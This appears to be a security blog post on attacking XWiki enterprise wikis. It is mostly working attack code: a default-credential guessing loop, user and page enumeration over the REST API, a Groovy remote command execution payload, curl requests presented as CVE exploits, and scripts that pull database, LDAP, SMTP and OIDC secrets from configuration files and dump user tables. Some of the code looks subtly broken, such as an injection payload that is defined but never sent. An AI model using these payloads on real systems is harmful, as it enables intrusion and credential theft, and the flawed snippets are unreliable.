Enterprise Wiki Security Testing

XWiki Security Testing: Default Credentials, API Key, Database, and Enterprise Wiki

📅 July 3, 2026 ⏱ 10 min read 🏷 XWiki, Enterprise Wiki Security, admin/admin Credentials, Groovy RCE, REST API, xwiki.cfg, Database Credentials, LDAP, XAR Import

Default Credentials and REST API Enumeration

# XWiki — default credentials and REST API enumeration
XW_URL="https://wiki.example.com"

# Test default admin credentials
for CRED in "Admin:admin" "admin:admin" "Admin:Admin" "superadmin:admin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${XW_URL}/xwiki/rest/wikis" \
    -u "${USER}:${PASS}" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
  [ "$STATUS" = "200" ] && echo "  SUCCESS!"
done

# REST API — enumerate wikis (may be unauthenticated)
curl -s "${XW_URL}/xwiki/rest/wikis" 2>/dev/null | \
  python3 -c "
import xml.etree.ElementTree as ET, sys
try:
    root = ET.fromstring(sys.stdin.read())
    ns = {'xwiki': 'http://www.xwiki.org'}
    for wiki in root.findall('.//xwiki:wiki', ns):
        name = wiki.find('xwiki:name', ns)
        print(f'Wiki: {name.text if name is not None else \"unknown\"}')
except: pass
" 2>/dev/null

# REST API — enumerate all pages in a wiki (unauthenticated if public)
curl -s "${XW_URL}/xwiki/rest/wikis/xwiki/spaces" 2>/dev/null | \
  grep -oP '[^<]+' | sed 's/<[^>]*>//g' | head -20

# REST API — get specific page content
curl -s "${XW_URL}/xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome" \
  -u "Admin:admin" 2>/dev/null | grep -o 'content.*' | head -5

# REST API — list all users
curl -s "${XW_URL}/xwiki/rest/wikis/xwiki/classes/XWiki.XWikiUsers/objects" \
  -u "Admin:admin" 2>/dev/null | grep -oP '[^<]+' | head -20

Groovy Macro RCE via Wiki Editor

# XWiki — Groovy macro RCE via wiki editor (requires edit page permission)
XW_URL="https://wiki.example.com"

# XWiki allows Groovy scripts in wiki pages with "scripting" right
# Users with "Script" or admin right can execute arbitrary server-side code

# Groovy RCE payload — execute system command via wiki macro
GROOVY_RCE='{{groovy}}
import groovy.transform.CompileStatic
@CompileStatic
def cmd = "id".execute()
print cmd.text
{{/groovy}}'

# CVE-2023-26470 — SSTI in Group.WikiGroup member field (pre-14.10.8/15.x)
# Group member field allows template injection without scripting rights
SSTI_PAYLOAD='%7B%7Bgroovy%7D%7D"id".execute().text%7B%7B%2Fgroovy%7D%7D'
curl -s -X POST "${XW_URL}/xwiki/rest/wikis/xwiki/classes/XWiki.XWikiGroups/objects" \
  -u "Admin:admin" \
  -H "Content-Type: application/xml" \
  -d "" \
  2>/dev/null | head -5

# CVE-2024-31982 — unauthenticated database query via search endpoint
# Allows reading arbitrary database tables without authentication
curl -s "${XW_URL}/xwiki/bin/get/XWiki/DatabaseSearch?outputSyntax=plain&query=select+%2A+from+xwikidoc+limit+5" \
  2>/dev/null | head -10

# XAR package import — import a XWiki archive containing Groovy scripts
# Admin can import XAR files which execute server-side code during import
# Craft malicious XAR with embedded Groovy macro and import via admin panel

xwiki.cfg Database and Integration Credential Extraction

# XWiki /WEB-INF/xwiki.cfg database and credential extraction

# xwiki.cfg — main XWiki configuration
cat /var/lib/tomcat9/webapps/xwiki/WEB-INF/xwiki.cfg 2>/dev/null | grep -E "password|secret|key|credentials" | head -20
# xwiki.db.connection.url=jdbc:mysql://localhost/xwiki?...
# xwiki.db.connection.username=xwiki
# xwiki.db.connection.password=xwiki        <-- database password
# xwiki.authentication.ldap.bind_DN=cn=xwiki,ou=service,...
# xwiki.authentication.ldap.bind_pass=...   <-- LDAP service account password
# mail.sender.password=...                  <-- SMTP password

python3 -c "
import re
content = open('/var/lib/tomcat9/webapps/xwiki/WEB-INF/xwiki.cfg').read()
patterns = {
    'db_password': r'xwiki\.db\.connection\.password\s*=\s*(\S+)',
    'db_url': r'xwiki\.db\.connection\.url\s*=\s*(\S+)',
    'ldap_bind_pass': r'ldap\.bind_pass\s*=\s*(\S+)',
    'mail_password': r'mail\.sender\.password\s*=\s*(\S+)',
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m:
        print(f'{name}: {m.group(1)[:80]}')
" 2>/dev/null

# xwiki.properties — additional configuration
cat /var/lib/tomcat9/webapps/xwiki/WEB-INF/xwiki.properties 2>/dev/null | \
  grep -E "oidc\.clientsecret|crypto\.password|storage\.s3" | head -5
# oidc.clientsecret=...   <-- OpenID Connect client secret
# crypto.password=...     <-- used to encrypt stored credentials

# MySQL — access XWiki database
DB_PASS="extracted-db-password"
mysql -u xwiki -p"${DB_PASS}" xwiki 2>/dev/null << 'EOF'
-- All XWiki users and their email addresses
SELECT XWD_WEB_HOME as user, XWD_CREATOR_EMAIL as email
FROM xwikidoc
WHERE XWD_WEB_HOME LIKE '%XWikiUsers%'
LIMIT 20;

-- XWiki authentication tokens
SELECT * FROM xwikiobjects
WHERE XWO_CLASSNAME = 'XWiki.XWikiUsers'
LIMIT 10;
EOF

XWiki Security Hardening

Security Test	Method	Risk
Default credentials Admin/admin and admin/admin	GET /xwiki/rest/wikis with Basic auth — full administrative access including scripting, user management, and database queries	Critical
Groovy macro RCE via wiki editor (scripting right required)	Edit page with {{groovy}}...{{/groovy}} macro — arbitrary server-side Java execution; read files, execute commands, exfiltrate data	Critical
CVE-2024-31982: unauthenticated database query via search	GET /xwiki/bin/get/XWiki/DatabaseSearch?query=select+*+from — pre-auth full database read access without any credentials	Critical
xwiki.cfg database password and LDAP credential extraction	Read /WEB-INF/xwiki.cfg — JDBC database password, LDAP bind password, SMTP credentials, OIDC client secrets	Critical
XAR package import with embedded malicious Groovy script	Admin panel → Import → upload crafted XAR — server-side code execution during package import	High